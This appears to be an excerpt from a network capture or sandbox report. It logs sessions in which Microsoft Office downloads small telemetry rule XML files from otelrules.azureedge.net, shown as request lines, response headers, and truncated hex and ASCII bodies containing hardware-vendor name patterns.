Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:11 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:11 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011411Z-178bfbc474bv587zhC1NYCny5w000000054g000000009bqv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:11 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:11 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:12 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:11 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 375df28d-601e-00ab-5b0b-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011411Z-178bfbc474bscnbchC1NYCe7eg00000005eg0000000062wc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 01:14:12 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:13 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011413Z-15b8b599d88phfhnhC1TEBr51n00000003yg000000001kry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:13 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 16d74281-d01e-0066-164b-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011413Z-15b8b599d88hd9g7hC1TEBp75c00000003rg000000006g5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:13 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:13 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011413Z-174c587ffdfcj798hC1TEB9bq400000003yg000000003stp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:13 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:13 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:13 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 95b9e869-801e-008c-3081-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011413Z-174c587ffdf4zw2thC1TEBu34000000003wg000000002mds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:13 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:13 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:14 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011414Z-178bfbc474b9fdhphC1NYCac0n000000054000000000fdmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:14 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:15 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: b7a4c0f2-401e-0064-554c-3c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011415Z-15b8b599d88tr2flhC1TEB5gk400000003u000000000d6t8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:15 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:15 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:15 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011415Z-174c587ffdfmlsmvhC1TEBvyks00000003wg00000000afpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:15 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:15 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011415Z-174c587ffdftjz9shC1TEBsh9800000003mg000000009afa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:15 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:16 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:15 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bdb50d09-801e-0048-2c0e-3ef3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011415Z-178bfbc474bwlrhlhC1NYCy3kg00000005b0000000002tzn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 01:14:16 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:16 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:16 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011416Z-174c587ffdfcb7qhhC1TEB3x7000000003ug000000008n1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:16 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> 